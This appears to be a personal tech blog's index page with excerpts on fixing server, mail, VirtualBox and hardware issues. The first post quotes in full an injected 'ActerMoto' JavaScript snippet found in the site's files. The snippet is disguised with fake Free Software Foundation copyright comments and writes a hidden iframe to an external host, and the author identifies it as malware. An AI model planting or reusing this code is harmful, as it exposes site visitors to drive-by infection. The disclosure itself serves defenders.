lux-medien Blog

How to fix ActerMoto and its edited JavaScript Files

Today stuff happened. Suddenly a lot of jQuery stuff stopped working and I had no idea why.

After searching for a bit, we found this in ALL of our javascript files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
*/
function getCookie(e) {
    var t = document.cookie.match(new RegExp("(?:^|; )" + e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return t ? decodeURIComponent(t[1]) : undefined
}
 
function ActerMoto() {
    var e = navigator.userAgent;
    var t = e.indexOf("Chrome") & gt; - 1 || e.indexOf("IEMobile") & gt; - 1 || e.indexOf("Windows NT 6.2") & gt; - 1 || e.indexOf("Windows NT 6.3") & gt; - 1 || e.indexOf("Windows") & lt; + 1;
    var n = getCookie("lusikrators") === undefined;
    if (!t & amp; & amp; n) {
        document.write('<iframe src="http://talisman.scoalamirceaeliadepitesti.ro/girosuirdos16.html" style="left: -904px;border-left-style: dotted;border-right-color: rgb(13,64,34);border-right-style: solid;height: 100px;width: 100px;position: absolute;border-right-width: 8px;top: -904px;"></iframe>');
        var r = new Date((new Date).getTime() + 64 * 60 * 60 * 1e3);
        document.cookie = "lusikrators=1; path=/; expires=" + r.toUTCString()
    }
}
ActerMoto()
/*
Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt
*//*

For those of you fooled by the “Free Software Foundation” distraction: This is malware and needs to get removed.

spamd: failed to create readable default_prefs: /nonexistent/.spamassassin/user_prefs

This is a fun one. Just skip to the solution if you don’t want to know why this happens.

Setting up postfix to work with greylisting and spamassassin is quite easy, but if you don’t double-check the logfiles, you will probably miss that your spamassassin doesn’t have user-preferences or the ability to learn, which will leave you with log-entries like these:

Enigmail and OpenPGP-related stuff broken after dist-upgrade to Ubuntu 14.04

Here’s something that took me a few hours to solve, even though it’s been a simple solve:

  • OpenPGP key-management was entirely empty.
  • can’t import keys from file or keyserver
  • refuses to encrypt anything
  • refuses to decrypt anything

I tried re-installing the thunderbird plugin and all the other common ways to solve things that might break during a dist-upgrade. The solution was a lot simpler.

Raspberri Pi, RaspBMC, Raspbian and how to get the best performance out of them

Very well then. After so many people told me how totally amazing their 3.5W-consuming $40 piece of hardware is performing, I finally decided to get myself such a thing. As you’re probably used to, when you’re reading our blog, I’ll tell you up front what the resolution was, so you don’t need to read the entire thing. A big thank you goes out to ActionA on irc.freenode.net/#raspbmc for pointing me to a USB flash drive instead of using an SD card.

MODx, TVs, Resource-Lists and clauses

I thought I should write something about that. I really love MODx, but I really hate the documentation. It’s full of gaps and stuff you really have to find out for yourself – or even worse – use the source, Luke.

Even though I am familiar with open-source software (development), I hate PHP as much as I hate perl (the unintuitive language of the braindead…) and I don’t like figuring stuff out by myself that should be self-explanatory.

VirtualBox VDI resize not working correctly in Windows Guest System

After reading loads of posts on the web, I want to keep others from this annoying task and give you guys a solution to that right away. I am running VirtualBox 4.2 on a Debian system btw.

andreas@quadcore64:~/VirtualBox VMs/w7-vm$ VBoxManage modifyhd Windows\ 7.vdi --resize 30000
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

This should have been it, right? Well not really, because Windows doesn’t give me any more space as a Guest OS. So why is that?

Amazon Android App not supporting big screens and tablets

Okay, seriously, Amazon, I’ve fucking had it. I want to browse amazon on my Transformer Prime. What the hell is wrong with the app? There is no reason for the app not to support big screens. Actually, a huge screen is even better for sales. And that’s the whole point of amazon, right?

So, here’s a list of reasons why apps are far behind others.

  1. Financial reasons: the company can’t afford to employ developers that are able to add multiple screen support.

There was a problem loading the Google+ CSS on Chrome

If there’s one thing, that really sucks, it’s a problem that you can’t figure out quickly by following a trail of evidence :) Long story short:

If you see this:

 

The one right solution might be switching AdBlock Plus off for plus.google.com/* – There are a lot of different approaches on the net, like trying to switch of predictive DNS stuff or clearing cookies and cache. But I guess google is just trying to force advertising via G+ on you :)

NAS Vergleich: Seagate BlackArmor, Western Digital MyBook Live, Buffalo Link-Station vs. Eigenbau-NAS

Eine Thematik, die für mich und mein Kino sehr relevant war, und nachdem ich mir den Spaß gegönnt habe, mich mit einer Seagate BlackArmor Kiste auszustatten (Spontankauf), fehlten mir nach kürzester Zeit die Worte.

Ich nehm’s direkt vorweg: Selber bauen. Kein Hexenwerk, keine Arbeit, genauso einfach wie “fertig” kaufen, nur tausend mal so gut, wie eine von diesen Buffalo Link-Station Kisten zu hacken oder sich sonstige fertige Lösungen zu kaufen.

Buffalo Link-Station

Noise-Cancelling Kopfhörer: Test und Vergleich von Sennheiser, JVC, Bose, Sony und Panasonic

Mir ging’s auf die Eier. Vom allerfeinsten. Es gibt zig Kopfhörer, Amazon ist total unsortiert, was das anbelangt, es gibt keinen brauchbaren Vergleich und alles muss man sich im Detail anhören. Dem Test vorweg zu nehmen ist: So sehr ich Bose im Hifi-Bereich hasse, weil sie einfach nur gut vermarkteten Plastik-Müll produzieren, so sehr machen sie’s im Bereich Kopfhörer wieder gut. Beide Geräte, sowohl der QC3 als auch der QC15 sind absolut bemerkenswerte Geräte, und keiner (!) der Noise-Cancelling Kopfhörer der Konkurrenz kann in Summe mit diesen hochpreisigen Geräten mithalten. Schreibe ich direkt vorweg, für die kurz entschlossenen, die sowieso schon mit dem Gedanken spielten, sich das Ding zuzulegen. Also. Für jeden mit mehr als 20 Flugstunden im Jahr: Bose QuietComfort 3 kaufen. Ist seiner Konkurrenz um Längen voraus und auch als “normaler” Kopfhörer durchaus tauglich. Kein Wireless-Kopfhörer, aber das interessiert hier gerade keinen.